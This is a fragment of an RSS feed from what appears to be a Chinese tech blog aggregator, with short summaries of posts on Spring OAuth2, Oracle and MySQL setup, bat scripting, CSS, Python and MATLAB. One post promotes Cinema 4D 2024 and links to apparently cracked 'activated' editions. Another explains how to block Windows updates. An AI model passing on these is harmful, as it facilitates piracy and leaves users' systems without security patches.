      <link>https://bchobby.github.io/posts/564f05e2e87ec20b8e17c2dd2c587cee/</link>
      <pubDate>Sun, 17 Sep 2023 23:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/564f05e2e87ec20b8e17c2dd2c587cee/</guid>
      <description>文章目录 写在前面的话Token的生成的官方描述1. JWT Token（透明Token）2. Opaque Token（不透明Token）2.1 默认128位字符的Opaque Token2.2 自定义Token生成器，生成一个UUID类型的OpaqueToken 写在前面的话 因为SpringBoot3.x是目前最新的版本，整合spring-security-oauth2-authorization-server的资料很少，所以产生了这篇文章，主要为想尝试SpringBoot高版本，想整合最新的spring-security-oauth2-authorization-server的初学者，旨在为大家提供一个简单上手的参考，如果哪里写得不对或可以优化的还请大家踊跃评论指正。&#xA;前面一篇文章《spring-security-oauth2-authorization-server（一）SpringBoot3.1.3整合》主要介绍了如何简单搭建一个认证服务器，这一篇算番外篇主要结合官网的描述简单分析一下Token的几种生成策略，以及如何自定义Token生成器来生成我们在OAuth2.0中常见的形如这样：Bearer 237d224d-1bdc-4d48-855a-f6abb37e378f的不透明OpaqueToken。&#xA;整个项目的配置还是复用的上一篇。&#xA;Token的生成的官方描述 取自官方文档：&#xA;OAuth2TokenGenerator负责从所提供的OAuth2TokenContext中的信息生成 OAuth2Token，生成的 OAuth2Token 主要取决于在 OAuth2TokenContext 中指定的 OAuth2TokenType。&#xA;当 OAuth2TokenType的value 为：&#xA;code，则生成 OAuth2AuthorizationCode。access_token，则生成 OAuth2AccessToken。refresh_token，则生成 OAuth2RefreshToken。id_token，则生成 OidcIdToken。 所以我们用到的授权码，access-token，refresh-token，设备码等都是由OAuth2TokenGenerator的子类实现的。&#xA;1. JWT Token（透明Token） spring-security-oauth2-authorization-server默认生成的Token是JWT类型的，生成的 OAuth2AccessToken 的格式是不同的，取决于为 RegisteredClient 配置的TokenSettings.getAccessTokenFormat()。如果格式是 OAuth2TokenFormat.SELF_CONTAINED（默认），那么就会生成一个 JWT。如果格式是 OAuth2TokenFormat.REFERENCE，那么就会生成一个 &#34;opaque&#34;不透明Token。&#xA;官网上还有这么一句话：&#xA;OAuth2TokenGenerator 是一个可选的组件，默认为由 OAuth2AccessTokenGenerator 和 OAuth2RefreshTokenGenerator 组成的 DelegatingOAuth2TokenGenerator。&#xA;如果注册了 JwtEncoder @Bean 或 JWKSource @Bean，那么在 DelegatingOAuth2TokenGenerator 中还会额外组成一个 JwtGenerator。&#xA;可以在源码找到出处。&#xA;DelegatingOAuth2TokenGenerator实例化的时候将tokenGenerators塞进去的，那么再往上找何处实例化的&#xA;因为我们注册了相应的JWKSource、JwtEncoder的Bean，所以Token的生成会实现在JwtGenerator上。&#xA;如果我们不注册JWT相关的Bean就是将上一篇文章中的3.3.5节的JWT相关Bean全部去掉，debug会发现还是默认加进来了JwtGenerator。&#xA;原因应该是在我们在注册RegisteredClientRepository Bean时默认为我们指定了tokenSettings。&#xA;所以oauth2_registered_client表的token_settings也会看到org.springframework.security.oauth2.server.authorization.settings.OAuth2TokenFormat类型为self-contained&#xA;2. Opaque Token（不透明Token） 2.</description>
    </item>
    <item>
      <title>一文教你在 centos7 下安装 Oracle19 C(完整版)</title>
      <link>https://bchobby.github.io/posts/a667480d2fa974cea4935e7d2aea56b5/</link>
      <pubDate>Sun, 17 Sep 2023 19:58:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a667480d2fa974cea4935e7d2aea56b5/</guid>
      <description>前言&#xA;安装 Oracle 一直是本人工作以来想要做的事情,但是一直都没有安装成功,本人有一个习惯,所有的软件基本上都安装在centos系统下,这样,一方面是 在日常工作中,都是linux环境,另一方面,装在linux虚拟中,万一哪天你想退出江湖,可以一键删除走人; 下边是我折腾了很久,记录的centos下安装Oracle 19C的教程,中间踩了很多坑,为避免大家踩坑,我把整个安装的过程及踩到的坑,都记录下来;不可否认,中间参考了很多网上的教程&#xA;大家可以参考这边博客,博主本人就是参考的本篇文章&#xA;Linux 系统服务端oracle19c数据库全英文版安装教程&#xA;1 安装准备 1) 下载预安装包, 下载网址,我已分享到百度云:&#xA;地址如下 :&#xA;链接：https://pan.baidu.com/s/18kfSC7KRjTsOKRG6UokOFA 提取码：yyds 官网下载地址&#xA;下载完成后,会得到如下两个文件&#xA;上传文件到centos虚拟机&#xA;创建用户&#xA;adduser oracle ## 需要输入2次密码 passwd oracle 2) 预安装 cp oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm.rpm /root/ mv oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm.rpm oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm ## 本地安装 yum localinstall -y /root/oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm 安装成功后&#xA;3) 安装依赖包 yum install -y bc gcc gcc-c++ binutils compat-libcap1 compat-libstdc++ dtrace-modules dtrace-modules-headers dtrace-modules-provider-headers dtrace-utils elfutils-libelf elfutils-libelf-devel fontconfig-devel glibc glibc-devel ksh libaio libaio-devel libdtrace-ctf-devel libX11 libXau libXi libXtst libXrender libXrender-devel libgcc librdmacm-devel libstdc++ libstdc++-devel libxcb make smartmontools sysstat 4) 创建所需文件夹 并授权 mkdir -p /app/oracle/product/19.</description>
    </item>
    <item>
      <title>使用docker安装部署kuboard并导入k8s集群</title>
      <link>https://bchobby.github.io/posts/25437a75bbf71d11099bab1eae1ff42a/</link>
      <pubDate>Sun, 17 Sep 2023 18:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25437a75bbf71d11099bab1eae1ff42a/</guid>
      <description>1 官网地址 https://kuboard.cn/install/v3/install.html#kuboard-v3-x-%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E 2 找到推荐的安装方式 先点击左上角的安装&#xA;3 进入安装引导页面 复制出来里面的docker 命令，根据需求修改外面端口映射，KUBOARD_ENDPOINT 随便写一个ip即可。&#xA;下面红字提示很重要，请仔细阅读。&#xA;docker run -d \ --restart=always \ --name=kuboard-xiaoma \ -p 30080:80/tcp \ -p 30081:10081/tcp \ -e KUBOARD_ENDPOINT=&#34;http://1.2.3.4:80&#34; \ -e KUBOARD_AGENT_SERVER_TCP_PORT=&#34;10081&#34; \ -v /root/kuboard-data:/data \ eipwork/kuboard:v3 访问一下&#xA;访问地址：http://部署主机IP 默认账号：admin 默认密码：Kuboard123 4 根据提示导入集群 根据提示获取授权字符串&#xA;粘贴到黑色输入框里面</description>
    </item>
    <item>
      <title>mysql搭建简单主从时的常见错误</title>
      <link>https://bchobby.github.io/posts/1063d3c76cebe28a3b4c2077bac38774/</link>
      <pubDate>Sun, 17 Sep 2023 17:37:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1063d3c76cebe28a3b4c2077bac38774/</guid>
      <description>1、主要原因是用户没有授权或masterIP写错&#xA;last io error: error connecting to master &#39;slave@172.25.250.155:3306&#39; - retry-time: 60 retries: 6 slave_ io running: connecting 解决：检查自己的master服务器是否授权给slave用户，检查slave用户能否在其他服务器登录，检查，change 规则是否写错，主要是ip，用户，密码&#xA;2、原因是server-id冲突&#xA;Slave_IO_Running: No 和 The slave I/O thread stops because master and slave have equal MySQL server ids; 解决：将master或slave服务器中，mysql的配置文件中的server-id值更改并重启服务&#xA;3、为数据库或表的建库建表语句冲突，可能是库或表已经存在。&#xA;Last_SQL_Error: Error &#39;Table &#39;book&#39; already exists&#39; on query. Default database: &#39;mybook&#39;. Query: &#39;create table book(id int,num int)&#39; 或 Last_SQL_Error: Error &#39;Can&#39;t create database &#39;mybook&#39;; database exists&#39; on query. Default database: &#39;mybook&#39;.</description>
    </item>
    <item>
      <title>bat脚本总结</title>
      <link>https://bchobby.github.io/posts/fd6f860a05caa15b609013f08d8ae6c1/</link>
      <pubDate>Sun, 17 Sep 2023 17:36:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd6f860a05caa15b609013f08d8ae6c1/</guid>
      <description>1 基础1.1 关闭代码执行输出,否则每一行都会替换结果后输出1.2 goto, 用冒号开头标识一个起点,使用goto语句跳转到flag位置执行1.3 注释的两种方法1.4 变量声明1.5 延迟解析, 动态替换1.7 常用命令对比1.8 for循环1.8.1 遍历一组数字1.8.2 遍历一组字符串1.8.3 遍历文件1.8.3 遍历文件夹1.8.4 遍历命令的输出1.8.5 for /f 使用实例1.9 字符串操作2 代码实例 1 基础 1.1 关闭代码执行输出,否则每一行都会替换结果后输出 @echo off 1.2 goto, 用冒号开头标识一个起点,使用goto语句跳转到flag位置执行 :flag goto flag 1.3 注释的两种方法 @rem hello ::hello 1.4 变量声明 @rem 以下三种方式都可以, 不过需要注意类型 set &#34;result=111&#34; set result=111 set result=&#34;111&#34; @rem 设置为空变量 set &#34;result=&#34; set result=&#34;&#34; @rem 字符串拼接 @rem 1.这种方式输出的 &#34;111&#34;222 set result=&#34;111&#34; set &#34;result1=%result%222&#34; @rem 2.这种方式输出的 111222 set result=111 set &#34;</description>
    </item>
    <item>
      <title>bat脚本基础</title>
      <link>https://bchobby.github.io/posts/b0044586a2b6f1b73199f7f6746a52ac/</link>
      <pubDate>Sun, 17 Sep 2023 17:34:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0044586a2b6f1b73199f7f6746a52ac/</guid>
      <description>- [1 基础](#1-基础)&#xA;- [1.1 关闭代码执行输出,否则每一行都会替换结果后输出](#11-关闭代码执行输出否则每一行都会替换结果后输出)&#xA;- [1.2 goto, 用冒号开头标识一个起点,使用goto语句跳转到flag位置执行](#12-goto-用冒号开头标识一个起点使用goto语句跳转到flag位置执行)&#xA;- [1.3 注释的两种方法](#13-注释的两种方法)&#xA;- [1.4 变量声明](#14-变量声明)&#xA;- [1.5 延迟解析, 动态替换](#15-延迟解析-动态替换)&#xA;- [1.7 常用命令对比](#17-常用命令对比)&#xA;- [1.8 for循环](#18-for循环)&#xA;- [1.8.1 遍历一组数字](#181-遍历一组数字)&#xA;- [1.8.2 遍历一组字符串](#182-遍历一组字符串)&#xA;- [1.8.3 遍历文件](#183-遍历文件)&#xA;- [1.8.3 遍历文件夹](#183-遍历文件夹)&#xA;- [1.8.4 遍历命令的输出](#184-遍历命令的输出)&#xA;- [1.8.5 for /f 使用实例](#185-for-f-使用实例)&#xA;- [1.9 字符串操作](#19-字符串操作)&#xA;- [2 代码实例](#2-代码实例)&#xA;# 1 基础&#xA;# 1.1 关闭代码执行输出,否则每一行都会替换结果后输出&#xA;```bat&#xA;@echo off&#xA;```&#xA;# 1.2 goto, 用冒号开头标识一个起点,使用goto语句跳转到flag位置执行&#xA;```bat&#xA;:flag&#xA;goto flag</description>
    </item>
    <item>
      <title>Maxon Cinema 4D 2024：创新功能助力新境界</title>
      <link>https://bchobby.github.io/posts/32c721bd03c6a071d7a4578fb6c4518e/</link>
      <pubDate>Sun, 17 Sep 2023 16:39:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32c721bd03c6a071d7a4578fb6c4518e/</guid>
      <description>Maxon的Cinema 4D 2024是一款在全球范围内广受赞誉的三维动画和建模软件。新版本在速度、性能、本地化、功能增强等多个方面进行了全面的提升，为用户提供了更加流畅、高效且丰富的创作体验。&#xA;飞一般的速度 Cinema 4D 2024在速度上较之前的版本有了显著的提升，其运行速度是以前版本的的两倍多。这一显著的提升得益于Maxon全新内核的强大功能，优化了速度和性能。无论是复杂的模型渲染，还是大规模的动画制作，Cinema 4D 2024都能以飞一般的速度轻松应对。&#xA;全面本地化 Cinema 4D 2024在本地化方面也做出了重要的更新。对于中国用户来说，最直观的感受就是界面更加易用，操作更加人性化。此外，新版本还支持多种语言和地区设置，让用户在创作过程中能享受到更加流畅的体验。这也是Maxon对于全球用户需求的一种深度理解和精准响应。&#xA;功能增强 除了速度和本地化的提升，Cinema 4D 2024还增加了一些重要的新功能。首先是“pyro”增强，这个功能对于喜欢制作火焰、水花等特效的用户来说是一大福音。新版本的“pyro”功能在渲染质量和渲染速度上都有显著的提升，可以轻松制作出逼真的火焰和水花效果。&#xA;其次是VAMP的引入，这是Maxon的一款强大且易用的材质编辑器。它可以帮助用户更加便捷地创建和修改材质，使三维模型的表面属性更加丰富和逼真。同时，Cinema 4D 2024还加强了建模功能，增加了新的标签、间隔选择、笔刷保持边界等功能，使得建模过程更加流畅，结果更加丰富。&#xA;最后是动力学方面的提升。Cinema 4D 2024在动力学模拟上也进行了重大改进，通过更精确的模拟算法和更高效的计算性能，能够为用户提供更加逼真的动力学模拟效果。这将有助于用户在动画制作中实现更加自然和逼真的动画效果。&#xA;Mac安装：Cinema 4D 2024 for mac(c4d 2024)v2024.0.0激活版&#xA;Win安装：Maxon Cinema 4D 2024(C4D 2024)v2024特别版&#xA;综上所述，Maxon Cinema 4D 2024在各个方面都做出了重大更新和提升。无论你是专业的动画师，还是刚刚开始接触三维动画的新手，Cinema 4D 2024都能满足你的需求。通过这款软件，你可以轻松地创造出令人惊叹的三维动画作品。我们强烈推荐你尝试一下这款强大的工具，相信它一定能帮助你打开新的创作天地。</description>
    </item>
    <item>
      <title>随机森林回归模型--评分预测</title>
      <link>https://bchobby.github.io/posts/c71b97c6265862a95f6c2589dd881f70/</link>
      <pubDate>Sun, 17 Sep 2023 15:36:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c71b97c6265862a95f6c2589dd881f70/</guid>
      <description>PS：介绍代码仅供介绍，源代码后期经过修改与介绍代码不一定完全相同&#xA;索引表 使用到的库数据加载和预处理划分训练集和测试集模型选择和训练模型评估模型优化结果展示尾声&#xA;使用到的库 import pandas as pd # 数据处理库 from gensim.models import Word2Vec # 自然语言处理模型库 import numpy as np # 科学计算库 import os # 文件操作 from sklearn.metrics import mean_squared_error # 均方误差评估 from sklearn.metrics import mean_absolute_error # 绝对误差评估 from sklearn.ensemble import RandomForestRegressor # 随机森林回归模型 import matplotlib.pyplot as plt # 绘图库 import random # 随机库 import joblib # 用于模型的保存 import datetime # 获取当前时间 数据加载和预处理 初步检查数据集 初步观察，发现： 1. 有一些游戏属于当时未发行状态(TBD),数据是无效的,故删除 2. 发行日期未格式化，故用excel自带功能将日期从1-May-20修改为2020/5/1 3.</description>
    </item>
    <item>
      <title>Anaconda卸载tensorflow</title>
      <link>https://bchobby.github.io/posts/997e8f263f71b474c49306ec1dbbf217/</link>
      <pubDate>Sun, 17 Sep 2023 14:32:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/997e8f263f71b474c49306ec1dbbf217/</guid>
      <description> tensorflow安装位置 如果在安装tensorflow 的时候是安装在anaconda虚拟环境中的话，直接通过命令&#34;conda remove tensorflow&#34;卸载tensorflow会报错找不到tensorflow，那是因为先进入虚拟环境，然后在虚拟环境中再使用该命令进行删除&#xA;虚拟环境&#xA;以管理员身份打开Anaconda Prompt，然后使用如下命令进入虚拟环境 conda activate tensorflow 删除tensorflow&#xA;进入虚拟环境后使用如下命令删除tensorflow conda remove tensorflow 随后选择确定删除Y看到如下结果就是卸载成功了！&#xA;二级标题 三级标题 四级标题 五级标题 六级标题 </description>
    </item>
    <item>
      <title>POI下载excel通用方法</title>
      <link>https://bchobby.github.io/posts/2c6e81b1ae96528df3af724689de9738/</link>
      <pubDate>Sat, 16 Sep 2023 19:37:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c6e81b1ae96528df3af724689de9738/</guid>
      <description>POI下载excel通用方法 最近遇到一个业务是需要下载excel，使用POI,这里记录一下实现过程&#xA;1、导包 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.公共方法的编写 package com.pingan.esbx.cassandra.util; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.math.NumberUtils; import org.apache.poi.hssf.usermodel.*; import org.apache.poi.ss.usermodel.CellStyle; import org.apache.poi.ss.usermodel.IndexedColors; import org.apache.poi.ss.util.CellRangeAddress; import org.springframework.util.CollectionUtils; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.lang.reflect.Method; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import java.util.Objects; public class ExcelDonload { /** * 26个英文字母表 **/ public static final String[] letters = {&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;, &#34;F&#34;, &#34;G&#34;, &#34;</description>
    </item>
    <item>
      <title>定时器每隔n秒请求n条数据，setInterval分批请求数据</title>
      <link>https://bchobby.github.io/posts/874be99578d3a978fe67862bdbec4b1c/</link>
      <pubDate>Sat, 16 Sep 2023 19:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/874be99578d3a978fe67862bdbec4b1c/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;script&amp;gt; //需要分页的数组 let arr = [1,2,3,4,5,6,7,8,9,10] //分割数组，每页4条 splitArr(arr,4) /** * 分割数组 */ function splitArr(idList,size){ //当前页数 let num = 1 //共多少页 let count = Math.ceil(idList.length / size) //定时器 let timer = setInterval(function(){ //起始下标，根据页码计算 （当前页 - 1）* 每页条数 let start = (num - 1) * size //结束下标，起始下标 + 每页条数 let end = start + size console.log(&#34;start:end&#34;,start,end) //需要的数据 let splitArr = idList.slice(start, end) console.log(splitArr) //页码加1 num++ console.log(&#34;num&#34;,num) //超出最大页数，清除定时器 if(num &amp;gt; count){ clearInterval(timer) } //请求数据，渲染节点 queryData(splitArr) },1000) } /** * 分批请求数据 */ function queryData(splitIds){ for (let i = 0; i &amp;lt; splitIds.</description>
    </item>
    <item>
      <title>css文本超出2行显示...</title>
      <link>https://bchobby.github.io/posts/ec4cb97651ce3c609a048f303f0335eb/</link>
      <pubDate>Sat, 16 Sep 2023 18:58:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec4cb97651ce3c609a048f303f0335eb/</guid>
      <description> 可以使用CSS的text-overflow和ellipsis属性来实现文本超过2行时显示省略号。&#xA;设置文本溢出隐藏&#xA;使用CSS的overflow属性来将文本溢出部分隐藏，同时使用white-space属性来设置文本换行方式为normal或者nowrap。&#xA;.overflow { overflow: hidden; white-space: normal; /* 或者 white-space: nowrap; */ } 设置文本超过2行显示省略号 使用CSS的text-overflow属性来设置文本超过2行后显示省略号。同时，需要设置宽度和高度来控制文本显示的区域。&#xA;.ellipsis { overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; /* 设置宽度和高度 */ width: 200px; height: 40px; } 上述代码中，-webkit-line-clamp属性设置为2表示最多显示2行文本，-webkit-box-orient属性设置为vertical表示文本垂直排列。注意这里使用了CSS3的属性，需要在不同浏览器中加上不同的前缀。&#xA;示例代码如下：&#xA;&amp;lt;div class=&#34;ellipsis&#34;&amp;gt; This is a long text that needs to be truncated after two lines in order to improve the design. &amp;lt;/div&amp;gt; .ellipsis { overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; width: 200px; height: 40px; } </description>
    </item>
    <item>
      <title>python与数学建模（一）——线性规划</title>
      <link>https://bchobby.github.io/posts/6934d8aeffbebfaa530dfe19241dc439/</link>
      <pubDate>Sat, 16 Sep 2023 17:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6934d8aeffbebfaa530dfe19241dc439/</guid>
      <description>文章目录 python与数学建模（一）——线性与非线性规划一、什么是线性规划？二、python求解线性规划问题三、python求解非线性规划 python与数学建模（一）——线性与非线性规划 ​ 数学建模国赛刚刚结束，博主想做一个有关使用python进行数学建模的专题。python作为一个简单高效的语言，虽然执行速度慢，不过能够快速开发。相比matlab, python更加轻量，集成度更高，使用在数学建模上完全可以胜任。&#xA;一、什么是线性规划？ ​ 我们不阐述具体的概念，可以将由以下形式的优化问题看成线性规划问题：&#xA;m i n ∑ j = 1 n c j x j s . t . ∑ j = 1 n a i j x j = b i , i = 1 , . . . , m , x j &amp;gt; = 0 , i = 1 , . . . , m , min\sum_{j=1}^{n}c_{j}x_{j}\\s.t.\sum_{j=1}^{n}a_{ij}x_{j}=b_{i}, i=1,...,m,\\x_{j}&amp;gt;=0,i=1,...,m, minj=1∑n​cj​xj​s.t.j=1∑n​aij​xj​=bi​,i=1,...,m,xj​&amp;gt;=0,i=1,...,m,&#xA;​ 或者我们可以用矩阵表示：</description>
    </item>
    <item>
      <title>python之环境变量配置</title>
      <link>https://bchobby.github.io/posts/7034d5ad2952b2ac0a1ded1aab283905/</link>
      <pubDate>Sat, 16 Sep 2023 16:56:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7034d5ad2952b2ac0a1ded1aab283905/</guid>
      <description>Python 是一种高级编程语言，它是一种解释性的语言，它有一些常用的环境变量配置。在本文中，我们将详细探讨这些配置。这些配置包括：&#xA;PATH 环境变量 PATH 环境变量是最重要的环境变量之一，因为它告诉操作系统可执行文件所在的位置。当你在命令行中键入一个命令时，操作系统会在 PATH 环境变量中列出的所有目录中查找该命令。&#xA;在 Windows 中配置 PATH 环境变量&#xA;在 Windows 中，为了将 Python 添加到 PATH 环境变量中，你需要进行以下步骤：&#xA;打开“控制面板”并单击“系统”。&#xA;点击“高级系统设置”链接。&#xA;点击“环境变量”按钮。&#xA;在“系统变量”列表中，查找名为“Path”的变量，并点击“编辑”按钮。&#xA;在变量值的末尾添加 Python 目录的路径。请注意，你需要用分号（“;”）将新路径和现有路径分开。&#xA;在 Linux 和 macOS 中配置 PATH 环境变量&#xA;在 Linux 或 macOS 中，你可以通过编辑 .bashrc 文件来配置 PATH 环境变量。该文件位于你的主目录下。&#xA;使用以下命令打开 .bashrc 文件：&#xA;$ nano ~/.bashrc 在文件的末尾添加以下行：&#xA;export PATH=&#34;$PATH:/path/to/python/directory&#34; 请将“/path/to/python/directory”替换为你的 Python 目录的路径。&#xA;PYTHONPATH 环境变量 PYTHONPATH 环境变量告诉 Python 寻找模块文件的位置。当你尝试导入模块时，Python 将在 PYTHONPATH 环境变量中列出的所有目录中查找该模块。&#xA;在 Windows 中配置 PYTHONPATH 环境变量</description>
    </item>
    <item>
      <title>【MATLAB学习笔记】绘图——errorbar误差图&#43;patch误差填充图</title>
      <link>https://bchobby.github.io/posts/34beb0594612dbbfea84f7491c51bbe7/</link>
      <pubDate>Sat, 16 Sep 2023 15:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34beb0594612dbbfea84f7491c51bbe7/</guid>
      <description>目录 前言颜色配置数据准备errorbar函数绘制误差线patch函数绘制误差填充图细节调整设置次刻度线设置坐标轴线宽度、刻度线长度设置全局字体、刻度标签、图例取消上、右边框刻度线 保存图片总代码总结 前言 关于MATLAB中errorbar函数和patch函数的使用以及美化加工。如有些细节的地方不清楚的可以点击此先去看看这篇文章：&#xA;【MATLAB学习笔记】绘图——去除上、右边框刻度&#xA;颜色配置 这里分享一下本人常用的颜色配置：&#xA;对应的颜色代码如下&#xA;myColors = [&#34;#9489fa&#34;; &#34;#f06464&#34;; &#34;#f7af59&#34;; &#34;#f0da49&#34;; &#34;#71c16f&#34;; &#34;#2aaaef&#34;; &#34;#5690dd&#34;; &#34;#bd88f5&#34;; &#34;#009db2&#34;; &#34;#024b51&#34;; &#34;#0780cf&#34;; &#34;#765005&#34;]; 数据准备 随机生成一些数据，这里有y和z两组数据，同时计算误差err。&#xA;x = 3:0.08:5; y = exp(1.1*x); y1 = y.*(1+0.1.*x); err = y1 - y; z = exp(1.3*x)+100; z1 = z.*(1+0.03.*x); err1 = z1 - z; errorbar函数绘制误差线 errorbar第一个参数为x，第二个参数为y，第三个参数为误差。&#xA;f = figure(&#34;Name&#34;,&#34;误差&#34;); e = errorbar(x,y,err); e.Color = myColors(1); % 颜色 e.LineWidth = 1.5; % 线宽 e.CapSize = 10; % 误差帽宽度 hold on e2 = errorbar(x,z,err1); e2.</description>
    </item>
    <item>
      <title>禁用Win10自动更新</title>
      <link>https://bchobby.github.io/posts/a061780acd33aa609f54e657978a03ab/</link>
      <pubDate>Sat, 16 Sep 2023 15:08:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a061780acd33aa609f54e657978a03ab/</guid>
      <description>第一步，win+r，输入 gpedit.msc 并回车，打开【组策略】&#xA;第二步，依次点击 管理模板-&amp;gt;Windows组件-&amp;gt;Windows更新&#xA;第三步，双击Windows更新，然后在设置中双击 指定 intranet Microsoft 更新服务位置&#xA;第四步，点击 已启用，将下面的服务地址全部改成 127.0.0.1 ，&#xA;第五步，点击确定，重启电脑，以后就不会再更新了&#xA;如果哪天又想更新了，再改成禁用就行。&#xA;参考网站&#xA;禁用Win10自动更新——改域名&#xA;win10如何打开组策略（两种方法）</description>
    </item>
    <item>
      <title>使用GoogleTranslateIpCheck查找适用谷歌翻译服务器ip</title>
      <link>https://bchobby.github.io/posts/d3119bca8541ae0688672997b5224752/</link>
      <pubDate>Sat, 16 Sep 2023 10:12:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3119bca8541ae0688672997b5224752/</guid>
      <description> 找到C:\Windows\System32\drivers\etc目录下的hosts文件，将hosts文件拖到桌面，右键-&amp;gt;属性，将只读勾选去掉，变成可读写，再用记事本打开修改，在文件最下方加入如下两行内容：&#xA;# 谷歌翻译&#xA;216.239.32.40 translate.googleapis.com&#xA;216.239.32.40 translate.google.com&#xA;64.233.189.191 translate.googleapis.com&#xA;64.233.189.191 translate.google.com&#xA;https://github.com/Ponderfly/GoogleTranslateIpCheck&#xA;GoogleTranslateIpCheck 扫描国内可用的谷歌翻译IP 如果都不能使用可以删除 ip.txt 文件调用远程IP或进入扫描模式 使用参数 -s 可以直接进入扫描模式 -y 自动写入Host文件 -6 进入IPv6模式(如果支持IPv6推荐优先使用) Windows 需要使用管理员权限运行 Mac和Linux运行 需要在终端中导航到软件目录然后执行 chmod +x GoogleTranslateIpCheck sudo ./GoogleTranslateIpCheck 下载地址 Mac OS https://github.com/Ponderfly/GoogleTranslateIpCheck/releases/download/1.6/GoogleTranslateIpCheck-mac-x64.zip Window https://github.com/Ponderfly/GoogleTranslateIpCheck/releases/download/1.6/GoogleTranslateIpCheck-win-x64.zip Linux https://github.com/Ponderfly/GoogleTranslateIpCheck/releases/download/1.6/GoogleTranslateIpCheck-linux-x64.zip 常见问题 1.如果所有IP都超时,请检查是否开了代理 2.Mac 中使用: 打开终端 输入cd 把解压后的文件夹拖进终端，点击回车 复制粘贴代码，点击回车 chmod +x GoogleTranslateIpCheck sudo ./GoogleTranslateIpCheck 3.Mac 提示来自不明身份: 系统偏好设置－－&amp;gt;安全性与隐私---&amp;gt;选择允许 扫描逻辑参考 https://repo.or.cz/gscan_quic.git 项目,感谢大佬 </description>
    </item>
    <item>
      <title>sql获取当前时间</title>
      <link>https://bchobby.github.io/posts/d6fdaac151cd69e27a7008c263396738/</link>
      <pubDate>Sat, 16 Sep 2023 10:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6fdaac151cd69e27a7008c263396738/</guid>
      <description>在 SQL 中，可以使用函数来获取当前时间。具体取决于你使用的数据库系统，以下是一些常见的方法：&#xA;MySQL：&#xA;SELECT CURRENT_TIMESTAMP;&#xA;SQL Server：&#xA;SELECT GETDATE();&#xA;Oracle：&#xA;SELECT SYSDATE FROM DUAL;&#xA;PostgreSQL：&#xA;SELECT CURRENT_TIMESTAMP;&#xA;这些函数将返回当前日期和时间。你可以在需要的地方使用它们，例如在查询中或者赋值给变量。</description>
    </item>
    <item>
      <title>VUE学习02——色块的制作</title>
      <link>https://bchobby.github.io/posts/d5e74af6afa6ac2bc1c7c95ba029d5a4/</link>
      <pubDate>Fri, 15 Sep 2023 23:39:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5e74af6afa6ac2bc1c7c95ba029d5a4/</guid>
      <description>总结 1.水平垂直居中的六句话：&#xA;position: absolute; left: 0; top: 0; right: 0; bottom: 0; margin: auto; 2.overflow：hidden（让父节点高度不受浮动影响，隐藏溢出部分）&#xA;3.div标签：&#xA;&amp;lt;!-- div 默认沾满整行，多个div 换行排列 --&amp;gt; &amp;lt;!-- 如果要一行排列，需要使用浮动 float，会脱离文档流 --&amp;gt; &amp;lt;!-- 样式可以重复使用，可以用空格隔开写多个样式一起用 --&amp;gt; 色块完整代码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .box { width: 500px; height: 500px; border: 5px solid black; } .box_t { height: 100px; /* 水平居中 */ text-align: center; /* 垂直居中，设置行高 = div的高度 */ line-height: 100px; font-size: 28px; } .</description>
    </item>
    <item>
      <title>Echarts 漏斗图的详细配置过程</title>
      <link>https://bchobby.github.io/posts/0aee90ef6439f8a965def31f0c159061/</link>
      <pubDate>Fri, 15 Sep 2023 20:13:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aee90ef6439f8a965def31f0c159061/</guid>
